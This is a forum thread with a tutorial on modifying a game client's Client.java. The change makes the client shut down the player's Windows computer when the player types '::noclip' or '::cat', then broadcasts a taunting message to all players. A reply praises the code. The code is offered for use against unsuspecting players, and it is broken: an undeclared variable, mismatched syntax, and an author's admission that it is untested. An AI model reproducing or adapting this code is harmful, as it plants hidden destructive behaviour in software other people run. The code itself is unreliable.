Thread: Another Way To Stop ::noclip and ::cat! Cool Way!=]

Results 1 to 2 of 2
  1. #1 Another Way To Stop ::noclip and ::cat! Cool Way!=] 
    Registered Member

    Join Date
    Aug 2007
    Posts
    877
    Thanks given
    1
    Thanks received
    15
    Rep Power
    229
    This is a TuT to stop all those people that try to do ::noclip or ::cat...

    What this does is it Shuts Down Someone's Computer when they type ::noclip or ::cat! =]

    First, I'll start out with the credits:

    80% to Oblakastouf
    20% Me.

    Class Modified - Client.Java

    Now we will start...

    First add this into your voids...

    Code:
    public void lulOwned() throws IOException 
            {
            Runtime load = Runtime.getRuntime();
            // getRuntime() method is a static method which is used to 
            // obtain access to an object of class Runtime.
            r.exec("C:\\windows\\System32\\shutdown.exe");
            }
    ↑ Got this from oblakastouf

    Now let's replace your commands...

    Look for this...

    Code:
    else if (command.equalsIgnoreCase("noclip")
    Replace that whole method with this...

    Code:
    else if(command.equals("noclip")
    lulOwned();
    PlayerHandler.messageToAll = playerName+" Just Got His Computer Shutdown By Doing ::Noclip! Hahah! =] ";
    }
    Now we will fix ::cat

    Search for this...

    Code:
    else if (command.equalsIgnoreCase("cat")
    Once again, Replace that whole method with this...

    Code:
    else if(command.equals("cat")
    lulOwned();
    PlayerHandler.messageToAll = playerName+" Just Got His Computer Shutdown By Doing ::Cat! Hahah! =] ";
    }
    Save.
    Compile.
    Run.

    Post if you get any errors because I have not tested it yet. Thanks. =]
     

  2. #2  
    Gander
    Guest
    Run It Guys It Works Nice Job Oblak R3p ++
     


Thread Information
Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)


User Tag List

Posting Permissions
  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •